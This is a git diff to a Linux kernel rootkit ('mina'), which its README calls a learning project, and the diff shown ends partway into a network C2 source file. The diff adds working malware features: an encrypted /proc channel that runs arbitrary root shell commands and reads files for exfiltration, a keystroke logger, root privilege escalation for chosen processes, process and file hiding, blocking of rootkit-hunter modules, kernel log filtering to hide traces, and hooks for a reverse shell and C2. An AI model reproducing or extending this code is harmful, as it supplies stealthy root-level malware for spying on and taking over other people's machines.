diff --git a/README.txt b/README.txt
@@ -1,6 +1,3 @@
-
-
-
░▒▓██████████████▓▒░░▒▓█▓▒░▒▓███████▓▒░ ░▒▓██████▓▒░ ░▒▓█▓▒░░▒▓█▓▒░░▒▓██████▓▒░
░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
@@ -29,9 +26,9 @@ is just a learning project that I am doing for fun.
2. Basic design
-The rootkit works by intercepting the Signal syscall, and interpreting commands based on what
-signal is sent. For now, there is no userland driver to interact within, but such software is
-planned in order to communicate remotely safely.
+The rootkit works by intercepting the `kill` syscall and interpreting commands based on the signal sent.
+Additionally, it provides a `/proc` command channel for more complex interactions like executing shell commands
+or managing module blocking. Initial bugs have been resolved for improved stability.
3. Instructions
3.1 Compiling and run
@@ -45,15 +42,37 @@ Tested on:
3.2 Commands
-[*] Install persistence: kill -50 1337
-[*] Hide LKM at runtime: kill -60 1337
-[*] Enable file hiding: kill -70 1337
-
-3.2.a Magic features
+The rootkit responds to specific signals sent to `MAGIC_PID` (currently 1337) and commands written to `/proc/mina_cmd`.
+**Signal-based Commands (kill -SIGNAL MAGIC_PID):**
+[*] Install persistence: kill -50 1337
+[*] Toggle module hide: kill -60 1337
+[*] Toggle file hiding: kill -70 1337
+[*] Hide process (PID): kill -90 <PID_TO_HIDE>
+[*] Unhide process (PID): kill -91 <PID_TO_UNHIDE>
+[*] Escalate process to root: kill -95 <PID_TO_ESCALATE>
+
+**`/proc/mina_cmd` based Commands:**
+These commands are sent by writing a string to `/proc/mina_cmd` and reading the response.
+A client (`client/mina-cli`) is provided for easier interaction.
+
+Example usage with client:
+```bash
+# Execute a command
+./client/mina-cli "id"
+./client/mina-cli "ls -la /root"
+
+# Block a module from loading
+./client/mina-cli "block my_evil_module"
+
+# Unblock a module
+./client/mina-cli "unblock my_evil_module"
+```
+
+Magic features:
[+] => If you create a file called "minamina", it can't be seen by directory listing.
This only works if file hiding is enabled (kill -70 1337)
-
+[+] => Processes hidden with `kill -90 <PID>` will not appear in `ps aux` or `/proc/<PID>`.
3.3 Development instructions
@@ -74,4 +93,4 @@ Instructions are within the script, copy and paste.
You might have to install dependencies to build the rootkit locally.
If you have the zip archive downloaded on your guest machine, you can simply run:
-$ make deps
+$ make deps
+\ No newline at end of file
diff --git a/client/mina-cli.c b/client/mina-cli.c
@@ -0,0 +1,51 @@
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define PROC_CMD_PATH "/proc/minamina_cmd"
+#define BUF_SIZE 4096
+
+int main(int argc, char *argv[]) {
+ int fd;
+ ssize_t bytes_written, bytes_read;
+ char buffer[BUF_SIZE];
+ char *command = NULL;
+
+ fd = open(PROC_CMD_PATH, O_RDWR);
+ if (fd < 0) {
+ perror("Failed to open /proc/mina_cmd");
+ return EXIT_FAILURE;
+ }
+
+ if (argc > 1) {
+ command = argv[1];
+ } else {
+ /* For simplicity, let's just error out for now if no argv[1]
+ A full implementation would read from stdin until EOF */
+ fprintf(stderr, "Usage: %s <command> or echo <command> | %s\n", argv[0], argv[0]);
+ close(fd);
+ return EXIT_FAILURE;
+ }
+
+ bytes_written = write(fd, command, strlen(command));
+ if (bytes_written < 0) {
+ perror("Failed to write command to /proc/mina_cmd");
+ close(fd);
+ return EXIT_FAILURE;
+ }
+
+ lseek(fd, 0, SEEK_SET);
+ bytes_read = read(fd, buffer, BUF_SIZE - 1);
+ if (bytes_read < 0) {
+ perror("Failed to read response from /proc/mina_cmd");
+ close(fd);
+ return EXIT_FAILURE;
+ }
+ buffer[bytes_read] = '\0';
+ printf("%s", buffer);
+
+ close(fd);
+ return EXIT_SUCCESS;
+}
diff --git a/rootkit/Makefile b/rootkit/Makefile
@@ -8,16 +8,27 @@ help:
@perl -nle'print $& if m{^[a-zA-Z_-\d]+:.*?## .*$$}' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-22s\033[0m %s\n", $$1, $$2}'
# FIXME(djnn): auto-gen this ?
-MINA_CLIENT_ID = meow
+MINA_CLIENT_ID := $(shell head /dev/urandom | tr -dc a-z0-9 | head -c8)
obj-m := mina_$(MINA_CLIENT_ID).o
mina_$(MINA_CLIENT_ID)-objs := sources/mina.o \
sources/taint_reset.o \
sources/stealth.o \
- sources/persistence.o
+ sources/persistence.o \
+ sources/cmd.o \
+ sources/reverse_shell.o \
+ sources/keylogger.o \
+ sources/net_c2.o
-MY_CFLAGS += -Wno-missing-prototypes -Wno-missing-declarations -O2
+RANDOM_THREAD_NAME := $(shell head /dev/urandom | tr -dc a-z0-9 | head -c8)
+
+# Configurable values
+MAGIC_PID ?= 1337
+HIDE_PREFIX ?= "minamina"
+C2_ENC_KEY ?= "defaultkey" # Default key, can be overridden
+
+MY_CFLAGS += -DRESET_THREAD_NAME=\"$(RANDOM_THREAD_NAME)\" -DMAGIC_PID=$(MAGIC_PID) -DHIDE_PREFIX=\"$(HIDE_PREFIX)\" -DC2_ENC_KEY=\"$(C2_ENC_KEY)\" -Wno-missing-prototypes -Wno-missing-declarations -O2
ccflags-y += ${MY_CFLAGS}
CC += ${MY_CFLAGS}
diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -10,16 +10,25 @@
#define PERSISTENCE_CODE (50)
#define TOGGLE_HIDE_CODE (60)
#define TOGGLE_FILEHIDE_CODE (70)
-
-#define MAGIC_PID (1337)
-
-#define HIDE_DIRNAME_STARTSWTIH ("mina")
+#define SIG_HIDE_PID (90)
+#define SIG_UNHIDE_PID (91)
+#define SIG_ESCALATE (95)
+#define SIG_REVERSE_SHELL (96)
+#define SIG_TOGGLE_KEYLOGGER (97)
// stealth.c
void toggle_hide_module(void);
+void pid_hide(pid_t pid);
+void pid_unhide(pid_t pid);
+int pid_lookup_hidelist(pid_t pid);
// persistence.c
int add_inittab_entry(char const *entry);
+int stage_and_persist_module(void);
+
+// cmd.c
+int cmd_init(void);
+void cmd_cleanup(void);
/* TODO(djnn): this should be configurable by the user once reverse-shell feature is active */
#define PERSISTENCE_TAB_ENTRY ("::sysinit:/sbin/insmod /root/mina.ko\n")
@@ -27,7 +36,7 @@ int add_inittab_entry(char const *entry);
// taint_reset.c
-#define RESET_THREAD_NAME ("minamina") /* FIXME(djnn): autogen on compilation ? */
+/* FIXME(djnn): autogen on compilation ? */
#define TAINT_RESET_SLEEP_TIME (5)
int zerotaint_thread(void *data);
@@ -36,4 +45,28 @@ unsigned long *get_taint_mask_address(void);
// mina.c (symbol should be exported because it uses global var but called somewhere else)
void reset_taint_mask(void);
+// Module Blocker functions (defined in mina.c)
+void add_blocked_module(const char *name);
+void remove_blocked_module(const char *name);
+bool is_module_blocked(const char *name);
+
+// reverse_shell.c
+int start_reverse_shell(void);
+void stop_reverse_shell(void);
+void set_reverse_shell_target(const char *host, int port);
+
+// keylogger.c
+void keylogger_init(void);
+void keylogger_cleanup(void);
+void toggle_keylogger(void);
+void get_keylog_buffer(char *buffer, int len);
+bool is_keylogger_enabled(void);
+
+// net_c2.c
+int c2_init(void);
+void c2_cleanup(void);
+void set_c2_listen_port(int port);
+
+#define SIG_START_C2 (98)
+
#endif /* __KERNEL_MINA_H */
diff --git a/rootkit/sources/cmd.c b/rootkit/sources/cmd.c
@@ -0,0 +1,226 @@
+#include <linux/delay.h> // For msleep
+#include <linux/file.h> // For fput
+#include <linux/fs.h>
+#include <linux/fs.h> // For file operations
+#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/kmod.h> // For call_usermodehelper
+#include <linux/module.h>
+#include <linux/mount.h> // For path_lookup
+#include <linux/namei.h> // For path_lookup
+#include <linux/proc_fs.h>
+#include <linux/seq_file.h> // For simple_read_from_buffer
+#include <linux/slab.h>
+#include <linux/string.h> // For strnlen
+#include <linux/syscalls.h> // For sys_unlink
+#include <linux/uaccess.h>
+
+#include "../includes/mina.h"
+
+static void xor_crypt(char *data, size_t len, const char *key) {
+ size_t key_len = strlen(key);
+ if (key_len == 0)
+ return;
+ for (size_t i = 0; i < len; i++) {
+ data[i] ^= key[i % key_len];
+ }
+}
+
+#define MINA_CMD_BUF_SIZE 4096
+
+static char mina_cmd_output[MINA_CMD_BUF_SIZE];
+static struct proc_dir_entry *mina_cmd_proc = NULL;
+
+static ssize_t mina_cmd_read(struct file *file, char __user *ubuf, size_t size, loff_t *offset) {
+ size_t data_len = strnlen(mina_cmd_output, MINA_CMD_BUF_SIZE);
+ char *encrypted_data = kmalloc(data_len + 1, GFP_KERNEL);
+ ssize_t ret;
+
+ if (!encrypted_data) {
+ return -ENOMEM;
+ }
+ strlcpy(encrypted_data, mina_cmd_output, data_len + 1);
+ xor_crypt(encrypted_data, data_len, C2_ENC_KEY);
+
+ ret = simple_read_from_buffer(ubuf, size, offset, encrypted_data, data_len);
+ kfree(encrypted_data);
+ return ret;
+}
+
+static ssize_t mina_cmd_write(struct file *file, const char __user *ubuf, size_t size, loff_t *offset) {
+ char *cmd_str_encrypted;
+ char *cmd_str_decrypted = NULL;
+ char *argv[4];
+ char *envp[] = {"PATH=/bin:/usr/bin", NULL};
+ char *final_cmd_buf = NULL;
+ char fd_str[16];
+ struct file *temp_file = NULL;
+ int ret = 0;
+ int temp_fd = -1;
+ loff_t pos = 0;
+
+ memset(mina_cmd_output, 0, MINA_CMD_BUF_SIZE);
+
+ if (size == 0 || size >= MINA_CMD_BUF_SIZE) {
+ return -EINVAL;
+ }
+
+ cmd_str_encrypted = kzalloc(size + 1, GFP_KERNEL);
+ if (!cmd_str_encrypted) {
+ return -ENOMEM;
+ }
+
+ if (copy_from_user(cmd_str_encrypted, ubuf, size)) {
+ kfree(cmd_str_encrypted);
+ return -EFAULT;
+ }
+ cmd_str_encrypted[size] = '\0';
+
+ cmd_str_decrypted = kmalloc(size + 1, GFP_KERNEL);
+ if (!cmd_str_decrypted) {
+ kfree(cmd_str_encrypted);
+ return -ENOMEM;
+ }
+ strlcpy(cmd_str_decrypted, cmd_str_encrypted, size + 1);
+ xor_crypt(cmd_str_decrypted, size, C2_ENC_KEY);
+ kfree(cmd_str_encrypted);
+
+ if (strncmp(cmd_str_decrypted, "block ", 6) == 0) {
+ add_blocked_module(cmd_str_decrypted + 6);
+ snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Module '%s' blocked.\n", cmd_str_decrypted + 6);
+ goto end_cmd_handling;
+ } else if (strncmp(cmd_str_decrypted, "unblock ", 8) == 0) {
+ remove_blocked_module(cmd_str_decrypted + 8);
+ snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Module '%s' unblocked.\n", cmd_str_decrypted + 8);
+ goto end_cmd_handling;
+ } else if (strncmp(cmd_str_decrypted, "exfil ", 6) == 0) {
+ char *path = cmd_str_decrypted + 6;
+ struct file *exfil_file;
+ loff_t exfil_pos = 0;
+ int bytes_read;
+
+ exfil_file = filp_open(path, O_RDONLY, 0);
+ if (IS_ERR(exfil_file)) {
+ snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Failed to open file: %ld\n", PTR_ERR(exfil_file));
+ goto end_cmd_handling;
+ }
+
+ bytes_read = kernel_read(exfil_file, mina_cmd_output, MINA_CMD_BUF_SIZE - 1, &exfil_pos);
+ if (bytes_read < 0) {
+ snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Failed to read file: %d\n", bytes_read);
+ } else {
+ mina_cmd_output[bytes_read] = '\0';
+ }
+
+ filp_close(exfil_file, NULL);
+ goto end_cmd_handling;
+ } else if (strncmp(cmd_str_decrypted, "keylog", 6) == 0) {
+ get_keylog_buffer(mina_cmd_output, MINA_CMD_BUF_SIZE);
+ goto end_cmd_handling;
+ } else if (strncmp(cmd_str_decrypted, "set rs ", 7) == 0) {
+ char *host_str = cmd_str_decrypted + 7;
+ char *port_str = strchr(host_str, ' ');
+ int port = 0;
+
+ if (port_str) {
+ *port_str = '\0';
+ port_str++;
+ if (kstrtoint(port_str, 10, &port) == 0 && port > 0 && port < 65536) {
+ set_reverse_shell_target(host_str, port);
+ snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Reverse shell target set to %s:%d.\n", host_str, port);
+ } else {
+ snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Invalid port for reverse shell: %s.\n", port_str);
+ }
+ } else {
+ snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Usage: set rs <host> <port>\n");
+ }
+ goto end_cmd_handling;
+ } else if (strncmp(cmd_str_decrypted, "set c2 ", 7) == 0) {
+ char *port_str = cmd_str_decrypted + 7;
+ int port = 0;
+ if (kstrtoint(port_str, 10, &port) == 0 && port > 0 && port < 65536) {
+ set_c2_listen_port(port);
+ snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "C2 listen port set to %d.\n", port);
+ } else {
+ snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Invalid port for C2: %s.\n", port_str);
+ }
+ goto end_cmd_handling;
+ }
+
+ temp_fd = sys_memfd_create("mina_cmd_temp", MFD_CLOEXEC);
+ if (temp_fd < 0) {
+ printk(KERN_ERR "[mina_cmd] Failed to create memfd for output (err: %d).\n", temp_fd);
+ ret = temp_fd;
+ goto cleanup;
+ }
+
+ temp_file = fget(temp_fd);
+ if (IS_ERR(temp_file)) {
+ printk(KERN_ERR "[mina_cmd] Failed to get file struct for memfd (err: %ld).\n", PTR_ERR(temp_file));
+ ret = PTR_ERR(temp_file);
+ goto cleanup;
+ }
+
+ snprintf(fd_str, sizeof(fd_str), "%d", temp_fd);
+
+ final_cmd_buf = kzalloc(strlen(cmd_str_decrypted) + strlen(" >&") + strlen(fd_str) + 10, GFP_KERNEL);
+ if (!final_cmd_buf) {
+ ret = -ENOMEM;
+ goto cleanup;
+ }
+ snprintf(final_cmd_buf, strlen(cmd_str_decrypted) + strlen(" >&") + strlen(fd_str) + 10,
+ "%s >&%s 2>&1", cmd_str_decrypted, fd_str);
+
+ argv[0] = "/bin/sh";
+ argv[1] = "-c";
+ argv[2] = final_cmd_buf;
+ argv[3] = NULL;
+
+ ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
+ if (ret != 0) {
+ printk(KERN_ERR "[mina_cmd] call_usermodehelper failed with %d\n", ret);
+ goto cleanup;
+ }
+
+ pos = 0;
+ ret = kernel_read(temp_file, mina_cmd_output, MINA_CMD_BUF_SIZE - 1, &pos);
+ if (ret < 0) {
+ printk(KERN_ERR "[mina_cmd] Failed to read from memfd (err: %d).\n", ret);
+ goto cleanup;
+ }
+ mina_cmd_output[MINA_CMD_BUF_SIZE - 1] = '\0';
+
+ ret = size;
+
+cleanup:
+ if (temp_file && !IS_ERR(temp_file)) {
+ fput(temp_file);
+ }
+ if (temp_fd >= 0) {
+ sys_close(temp_fd);
+ }
+ kfree(final_cmd_buf);
+
+end_cmd_handling:
+ kfree(cmd_str_decrypted);
+ return size;
+}
+
+static const struct proc_ops mina_cmd_fops = {
+ .proc_read = mina_cmd_read,
+ .proc_write = mina_cmd_write,
+};
+
+int cmd_init(void) {
+ mina_cmd_proc = proc_create("minamina_cmd", 0666, NULL, &mina_cmd_fops);
+ if (!mina_cmd_proc) {
+ return -ENOMEM;
+ }
+ return 0;
+}
+
+void cmd_cleanup(void) {
+ if (mina_cmd_proc) {
+ proc_remove(mina_cmd_proc);
+ }
+}
diff --git a/rootkit/sources/keylogger.c b/rootkit/sources/keylogger.c
@@ -0,0 +1,79 @@
+#include <linux/init.h>
+#include <linux/input.h>
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/slab.h>
+#include <linux/string.h>
+
+#include "../includes/ftrace_helper.h" // For HOOK macro
+#include "../includes/mina.h"
+
+#define KEYLOG_BUF_SIZE 4096
+
+static char keylog_buffer[KEYLOG_BUF_SIZE];
+static int keylog_pos = 0;
+static bool keylogger_enabled = false;
+
+// Simplified keymap for US layout
+static const char *keymap[] = {
+ "", "<ESC>", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=",
+ "<BACKSPACE>", "<TAB>", "q", "w", "e", "r", "t", "y", "u", "i", "o", "p",
+ "[", "]", "<ENTER>", "<LCTRL>", "a", "s", "d", "f", "g", "h", "j", "k",
+ "l", ";", "'", "`", "<LSHIFT>", "\\", "z", "x", "c", "v", "b", "n", "m",
+ ",", ".", "/", "<RSHIFT>", "*", "<LALT>", " ", "<CAPS>", "<F1>", "<F2>",
+ "<F3>", "<F4>", "<F5>", "<F6>", "<F7>", "<F8>", "<F9>", "<F10>", "<NUMLOCK>",
+ "<SCROLLLOCK>", "<KP7>", "<KP8>", "<KP9>", "-", "<KP4>", "<KP5>", "<KP6>",
+ "+", "<KP1>", "<KP2>", "<KP3>", "<KP0>", "."};
+// This is a very simplified keymap and doesn't handle shifts, etc.
+
+void keylogger_log_key(unsigned int keycode) {
+ if (keylog_pos < KEYLOG_BUF_SIZE - 1) {
+ const char *key_str = (keycode < ARRAY_SIZE(keymap)) ? keymap[keycode] : "<UNKNOWN>";
+ int key_len = strlen(key_str);
+ if (keylog_pos + key_len < KEYLOG_BUF_SIZE) {
+ strlcpy(keylog_buffer + keylog_pos, key_str, key_len + 1);
+ keylog_pos += key_len;
+ }
+ }
+}
+
+void get_keylog_buffer(char *buffer, int len) {
+ strlcpy(buffer, keylog_buffer, len);
+ // Clear buffer after reading
+ memset(keylog_buffer, 0, KEYLOG_BUF_SIZE);
+ keylog_pos = 0;
+}
+
+void toggle_keylogger(void) {
+ keylogger_enabled = !keylogger_enabled;
+ printk(KERN_INFO "[mina] Keylogger %s\n", keylogger_enabled ? "enabled" : "disabled");
+}
+
+bool is_keylogger_enabled(void) {
+ return keylogger_enabled;
+}
+
+// Hook for input_handle_event
+static asmlinkage void (*original_input_handle_event)(struct input_handle *handle, unsigned int type, unsigned int code, int value);
+
+static asmlinkage void hook_input_handle_event(struct input_handle *handle, unsigned int type, unsigned int code, int value) {
+ if (is_keylogger_enabled() && type == EV_KEY && value == 1) { // Key press
+ keylogger_log_key(code);
+ }
+ original_input_handle_event(handle, type, code, value);
+}
+
+// Keylogger hook definition
+static struct ftrace_hook keylogger_hook[] = {
+ HOOK("input_handle_event", hook_input_handle_event, &original_input_handle_event),
+};
+
+void keylogger_init(void) {
+ fh_install_hooks(keylogger_hook, ARRAY_SIZE(keylogger_hook));
+ printk(KERN_INFO "[mina] Keylogger hook installed.\n");
+}
+
+void keylogger_cleanup(void) {
+ fh_remove_hooks(keylogger_hook, ARRAY_SIZE(keylogger_hook));
+ printk(KERN_INFO "[mina] Keylogger hook removed.\n");
+}
diff --git a/rootkit/sources/mina.c b/rootkit/sources/mina.c
@@ -1,3 +1,5 @@
+#include <linux/cred.h> // For prepare_creds, commit_creds
+#include <linux/dcache.h> // For d_path
#include <linux/delay.h>
#include <linux/fs.h>
#include <linux/init.h>
@@ -6,6 +8,9 @@
#include <linux/kthread.h>
#include <linux/list.h>
#include <linux/module.h>
+#include <linux/mount.h> // For d_path (might be needed)
+#include <linux/path.h> // For d_path
+#include <linux/sched.h> // For find_task_by_vpid
#include <linux/slab.h>
#include <linux/version.h>
@@ -37,18 +42,6 @@ the `mtime` on several other files under `/usr/lib/modules*`
timestomping might be necessary from the dropper
=> https://righteousit.com/2024/09/04/more-on-ext4-timestamps-and-timestomping
-
- ======================== TODO ==============================
-
-
-- timestomping /usr/lib/modules-load.d
-- command-exec module (!!)
-- keylogger ?
-- file-exfil
-- escalate privilege for process / hide process
-
-- write silly dropper
-- write a client/driver to interact with the rootkit
*/
MODULE_LICENSE("GPL");
@@ -73,21 +66,128 @@ settings_t settings = {
.enable_file_hide = 0,
.enable_dir_hide = 0};
+/* ------============= MODULE BLOCKLIST ==============----- */
+
+// MODULE_NAME_LEN is typically defined in linux/module.h
+struct blocked_module {
+ char name[MODULE_NAME_LEN];
+ struct list_head list;
+};
+LIST_HEAD(blocked_modules);
+
+void add_blocked_module(const char *name) {
+ struct blocked_module *bm;
+ size_t len = strnlen(name, MODULE_NAME_LEN - 1);
+
+ list_for_each_entry(bm, &blocked_modules, list) {
+ if (strncmp(bm->name, name, MODULE_NAME_LEN) == 0) {
+ return;
+ }
+ }
+
+ bm = kmalloc(sizeof(*bm), GFP_KERNEL);
+ if (!bm) {
+ printk(KERN_ERR "[mina] Failed to allocate memory for blocked module.\n");
+ return;
+ }
+ strlcpy(bm->name, name, len + 1);
+ list_add(&bm->list, &blocked_modules);
+ printk(KERN_INFO "[mina] Blocked module: %s\n", name);
+}
+
+void remove_blocked_module(const char *name) {
+ struct blocked_module *bm, *tmp;
+ list_for_each_entry_safe(bm, tmp, &blocked_modules, list) {
+ if (strncmp(bm->name, name, MODULE_NAME_LEN) == 0) {
+ list_del(&bm->list);
+ kfree(bm);
+ printk(KERN_INFO "[mina] Unblocked module: %s\n", name);
+ return;
+ }
+ }
+}
+
+bool is_module_blocked(const char *name) {
+ struct blocked_module *bm;
+ list_for_each_entry(bm, &blocked_modules, list) {
+ if (strncmp(bm->name, name, MODULE_NAME_LEN) == 0) {
+ return true;
+ }
+ }
+ return false;
+}
+
+static char *get_modname_from_buf(const char __user *buf, size_t buf_len) {
+ char *kbuf;
+ char *modname = NULL;
+ char *p;
+
+ if (!buf || buf_len == 0)
+ return NULL;
+
+ kbuf = vmalloc(buf_len);
+ if (!kbuf)
+ return NULL;
+
+ if (copy_from_user(kbuf, buf, buf_len)) {
+ vfree(kbuf);
+ return NULL;
+ }
+
+ p = kstrnstr(kbuf, "name=", buf_len);
+ if (p) {
+ p += strlen("name=");
+ modname = kstrdup_const(p, GFP_KERNEL);
+ if (modname) {
+ char *end = strchr(modname, ' ');
+ if (end)
+ *end = '\0';
+ end = strchr(modname, '\n');
+ if (end)
+ *end = '\0';
+ }
+ }
+
+ vfree(kbuf);
+ return modname;
+}
+
/* ------============= HOOKS ==============----- */
#include "../includes/ftrace_helper.h"
/* ------=== DIR HOOK ===----- */
-#define HIDE_DIR "minamina"
static asmlinkage bool (*original_filldir64)(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type);
static asmlinkage bool hook_filldir64(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type) {
+ long pid_num;
+ char *endp;
+ char *tmp_name = NULL;
- if (strstr(name, HIDE_DIR) != NULL && settings.enable_file_hide)
+ if (strstr(name, HIDE_PREFIX) != NULL && settings.enable_file_hide)
return true;
+ if (namlen > 0 && name[0] >= '0' && name[0] <= '9') { // Potential PID
+ tmp_name = kmalloc(namlen + 1, GFP_KERNEL);
+ if (!tmp_name) {
+ goto call_original;
+ }
+ strlcpy(tmp_name, name, namlen + 1);
+
+ pid_num = kstrtol(tmp_name, NULL, 10);
+ if (pid_num > 0) {
+ kfree(tmp_name);
+ if (pid_lookup_hidelist((pid_t)pid_num)) {
+ return true;
+ }
+ } else {
+ kfree(tmp_name);
+ }
+ }
+
+call_original:
return original_filldir64(ctx, name, namlen, offset, ino, d_type);
}
@@ -110,7 +210,55 @@ asmlinkage long hooked_kill_syscall(struct pt_regs *regs) {
return 0;
case TOGGLE_FILEHIDE_CODE:
- settings->enable_file_hide = (!settings->enable_file_hide);
+ settings.enable_file_hide = (!settings.enable_file_hide);
+ return 0;
+
+ case SIG_HIDE_PID:
+ pid_hide(pid);
+ return 0;
+
+ case SIG_UNHIDE_PID:
+ pid_unhide(pid);
+ return 0;
+
+ case SIG_ESCALATE: {
+ struct task_struct *task;
+ struct cred *new_creds;
+
+ task = find_task_by_vpid(pid);
+ if (!task) {
+ printk(KERN_ERR "[mina] Task %d not found for escalation.\n", pid);
+ return -ESRCH;
+ }
+
+ new_creds = prepare_creds();
+ if (!new_creds) {
+ printk(KERN_ERR "[mina] Failed to prepare credentials.\n");
+ return -ENOMEM;
+ }
+
+ new_creds->uid.val = new_creds->gid.val = 0;
+ new_creds->euid.val = new_creds->egid.val = 0;
+ new_creds->suid.val = new_creds->sgid.val = 0;
+ new_creds->fsuid.val = new_creds->fsgid.val = 0;
+ // Capabilities are usually handled by cap_set_full, but for simplicity zeroing out for now
+ // A more robust rootkit would manage capabilities carefully.
+ cap_clear(new_creds->cap_effective);
+ cap_clear(new_creds->cap_inheritable);
+ cap_clear(new_creds->cap_permitted);
+
+ commit_creds(new_creds);
+ printk(KERN_INFO "[mina] Task %d escalated to root.\n", pid);
+ return 0;
+ }
+ case SIG_REVERSE_SHELL:
+ start_reverse_shell();
+ return 0;
+ case SIG_TOGGLE_KEYLOGGER:
+ toggle_keylogger();
+ return 0;
+ case SIG_START_C2:
+ c2_init(); // Re-initialize or start if not already
return 0;
}
@@ -122,12 +270,102 @@ normalkill:
static asmlinkage long (*original_finit_module)(struct file *file, const char *uargs, unsigned long flags);
static asmlinkage long hook_init_module(struct file *file, const char *uargs, unsigned long flags) {
- return 0;
+ char *modname = NULL;
+ long ret = 0;
+
+ // In some kernel versions, uargs contains module parameters
+ // In others, it's a pointer to the module image.
+ // For simplicity, we assume uargs can be partially scanned for name.
+ // This part is heuristic and might need adjustment for specific kernel versions.
+ if (uargs) {
+ modname = get_modname_from_buf(uargs, PAGE_SIZE); // Scan first PAGE_SIZE for name
+ if (modname) {
+ if (is_module_blocked(modname)) {
+ printk(KERN_INFO "[mina] Blocked attempt to load module: %s\n", modname);
+ ret = -EPERM;
+ }
+ kfree(modname);
+ }
+ }
+
+ if (ret != 0) {
+ return ret;
+ }
+
+ return original_init_module(file, uargs, flags);
}
static asmlinkage long (*original_init_module)(struct file *file, const char *uargs, unsigned long flags);
static asmlinkage long hook_finit_module(struct file *file, const char *uargs, unsigned long flags) {
- return 0;
+ long ret = 0;
+ char *path_buf = NULL;
+ const char *filename_ptr;
+ char *modname_no_ext = NULL;
+
+ if (!file || !file->f_path.dentry) {
+ goto call_original;
+ }
+
+ path_buf = kmalloc(PATH_MAX, GFP_KERNEL);
+ if (!path_buf) {
+ ret = -ENOMEM;
+ goto out;
+ }
+
+ filename_ptr = d_path(&file->f_path, path_buf, PATH_MAX);
+
+ if (!IS_ERR(filename_ptr)) {
+ char *last_slash = strrchr(filename_ptr, '/');
+ const char *base_filename = last_slash ? last_slash + 1 : filename_ptr;
+
+ modname_no_ext = kstrdup_const(base_filename, GFP_KERNEL);
+ if (modname_no_ext) {
+ char *dot_ko = strrchr(modname_no_ext, '.');
+ if (dot_ko && strcmp(dot_ko, ".ko") == 0) {
+ *dot_ko = '\0';
+ }
+
+ if (is_module_blocked(modname_no_ext)) {
+ printk(KERN_INFO "[mina] Blocked attempt to load module (VFS): %s\n", modname_no_ext);
+ ret = -EPERM;
+ }
+ kfree(modname_no_ext);
+ }
+ } else {
+ printk(KERN_ERR "[mina] Error getting path for module: %ld\n", PTR_ERR(filename_ptr));
+ }
+
+out:
+ kfree(path_buf);
+ if (ret != 0) {
+ return ret;
+ }
+
+call_original:
+ return original_finit_module(file, uargs, flags);
+}
+
+// Hook for printk to filter rootkit messages
+static asmlinkage int (*original_vprintk_store)(int facility, int level,
+ const char *fmt, va_list args);
+
+static asmlinkage int hook_vprintk_store(int facility, int level,
+ const char *fmt, va_list args) {
+ char buf[256];
+ int len;
+
+ va_list args_copy;
+ va_copy(args_copy, args);
+
+ len = vsnprintf(buf, sizeof(buf), fmt, args_copy);
+ va_end(args_copy);
+
+ if (len > 0) {
+ if (strstr(buf, "[mina]") || strstr(buf, "mina is cute") || strstr(buf, "bye-bye mina")) {
+ return len;
+ }
+ }
+ return original_vprintk_store(facility, level, fmt, args);
}
/* ------=== HOOKS DEFINITIONS ===----- */
@@ -137,6 +375,7 @@ static struct ftrace_hook hooks[] = {
HOOK("__x64_sys_kill", hooked_kill_syscall, &original_kill), /* receive commands from machine */
HOOK("__x64_sys_init_module", hook_init_module, &original_init_module), /* hide from rootkit hunters */
HOOK("__x64_sys_finit_module", hook_finit_module, &original_finit_module), /* hide from rootkit hunters */
+ HOOK("vprintk_store", hook_vprintk_store, &original_vprintk_store), /* hide rootkit messages from kernel log */
};
/* --------------------------------------------- */
@@ -162,6 +401,20 @@ static int __init module_start(void) {
return error;
}
+ error = cmd_init();
+ if (error) {
+ printk(KERN_ERR "[mina] Failed to initialize command channel.\n");
+ return error;
+ }
+
+ keylogger_init();
+
+ error = c2_init();
+ if (error) {
+ printk(KERN_ERR "[mina] Failed to initialize C2 channel.\n");
+ return error;
+ }
+
taint_mask_ptr = get_taint_mask_address();
if (!taint_mask_ptr) {
printk(KERN_ERR "[mina] Could not get tainted_mask address.\n");
@@ -185,6 +438,11 @@ static void __exit module_end(void) {
reset_taint_mask();
}
+ cmd_cleanup();
+ stop_reverse_shell();
+ keylogger_cleanup();
+ c2_cleanup();
+
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
printk(KERN_INFO "bye-bye mina ~\n");
}
diff --git a/rootkit/sources/net_c2.c b/rootkit/sources/net_c2.c
@@ -0,0 +1,147 @@
+#include <linux/delay.h> // For msleep
+#include <linux/in.h>
+#include <linux/init.h>
+#include <linux/ip.h>
+#include <linux/kernel.h>
+#include <linux/kthread.h>
+#include <linux/module.h>
+#include <linux/net.h>
+#include <linux/slab.h>
+#include <linux/socket.h>
+#include <linux/string.h>
+#include <linux/tcp.h>
+#include <linux/uaccess.h>
+#include <net/sock.h>
+
+#include "../includes/mina.h"
+
